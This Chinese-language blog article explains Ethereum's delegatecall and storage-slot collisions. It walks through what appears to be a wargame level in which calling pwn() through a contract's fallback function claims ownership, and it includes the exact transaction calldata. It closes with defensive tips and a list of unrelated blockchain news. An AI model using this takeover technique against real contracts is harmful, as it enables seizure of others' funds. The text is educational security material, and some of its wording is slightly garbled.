区块链研究实验室|如何防止滥用委托调用功能

  • 时间:
  • 浏览:50
  • 来源:区块链技术网

委托调用(delegatecall)

委托调用是一种特殊的低级函数调用,旨在从另一个(通常是库)合约中调用函数。

delegateCall()的优点是可以保留当前调用合约环境的内容。此环境包括其storage及其msg.sender,msg.value属性。

以太坊将数据存储在存储“”中,即32字节大小的。每次将变量保存到存储时,它会自动占用当前插槽中的剩余空间,或者按顺序占用下一个插槽。

 

在下图中,合约A向合B的saveX()函数发出委托调用,该函数最终会改变合同A的存储。

 

首先,Contract A通过delegatecall调用saveX函数。委托调用覆盖合约B的存储与存储调用合约akaStorage A.

 

接下来,执行thesaveX函数。请注意,最初合约B存储到存储槽0中。因此,当此函数现在引用变量bar时,再次查看槽0。

 

但是现在插槽0是引用指针foo,因此foo设置为x。bar仍然超出范围,没有受到影响。

 

当合约A向合B发出委托调用时,它允许合B自由地改变其存储A.

 

显然,当开发人员在不安全的存储环境中使用delegatecall()或从恶意库继承时,安全风险就会发生

 

如果存储变量是通过低级的delegatecall访问的,那么两个合约的存储布局必须对等,以便被调用合约能够按名称正确访问调用合约的存储变量。当然,如果将存储指针作为函数参数传递,就像在高级库中那样,情况就不是同了。

 

现在利用您对delegatecall()的理解来获得此级别合同的所有权!

 

细节演练

1、delegation.sol对库合约delegation.sol进行delegatecall。

 

2、注意Delegate.sol有一个名为pwn()的公共函数,它将所有者变量的所有权更改为调用该函数的任何人!

 

contract Delegate {
    address public owner;   // Occupies slot 0
    ...
    function pwn() public {
        owner = msg.sender; // Save msg.sender to slot 0
    }
}

3、注意,委托合同的槽0也存储了owner,确切地说是您想要更改的变量!此外,如果您设法调用Delegation.sol中的回退函数来调用pwn(),您将成为调用合约的所有者。

 

function() public {
    if(delegate.delegatecall(msg.data)) {
        this
    }
}

4、在以太坊中,您可以通过在事务中发送数据来调用公共函数。格式如下:

 

contractInstance.call(bytes4(sha3("functionName(inputType)"))

5、使用Remix IDE或控制台,调用Delegation.sol的回退功能:

 

// I did so in the console, having already computed
// the bytes4(sha3("pwn()"))
await sendTransaction({
  from"0x1733d5adaccbe8057dba822ea74806361d181654",
  to: "0xe3895c413b0035512c029878d1ce4d8702d02320",
  data: "0xdd365b8b0000000000000000000000000000000000000000000000000000000000000000"
});

6、wait contract.owner()显示您现在是所有者!

 

提示:您可以执行Remix调试器(在Javascript VM模式下)以查看存储环境如何更改! 您可以在Remix调试器的storage fully loaded列表中找到存储插槽。

 

关键细节

  • 使用更高级别的call()函数继承库,特别是当你i)不需要更改合同存储和ii)不关心gas控制时。

  • 更改合同存储的库继承时,请确保将存储插槽与库的存储插槽对齐,以避免出现这些边缘情况。

  • 对调用delegatecalls的函数进行身份验证并进行条件检查。

猜你喜欢

区块链红利吃饱后,这个巨头又想"征服"元宇宙?

据12月26日消息,百度与英伟达(NVIDIA)已达成协议,双方合作共建AI元宇宙。另外,在今日举行的百度AI开发者大会上,英伟达全球副总裁暨亚太区总裁 Raymond Teh将受邀出席,并发表主题演讲。

2021-12-27

2021年,区块链股权融资发生了怎么样的演变

过去一年,区块链行业融资井喷,在科技领域中独树一帜,A16z、红杉、老虎基金等等这些顶级机构在 2021 年的区块链行业肆意驰骋,在 DeFi、NFT、Metaverse 等领域扶持了一众创业项目。

2021-12-23

两个元宇宙的世界观,以及和区块链的关系

“元宇宙”这个名词音好听但义很难传达准确,想要更准确地理解义,取名为平行宇宙、竞争宇宙、山寨宇宙,更好。对应的,我们现在肉身所处的宇宙,我们称之为“肉身宇宙”。

2021-12-22

Alien Worlds(外星世界)区块链打金挖矿指南

Alien Worlds(外星世界)是一款4月就开始的游戏,10月27日又上线了全新的任务(Missions)游戏模式; 在WAX用户量排名中Alien Worlds(外星世界)一直排在前三,说明现在存量工作室还有很多;

2021-12-17

DeHorizon(地平线)区块链打金教程

今天我们就解析在一款社交主题游戏 — DeHorizon

2021-12-17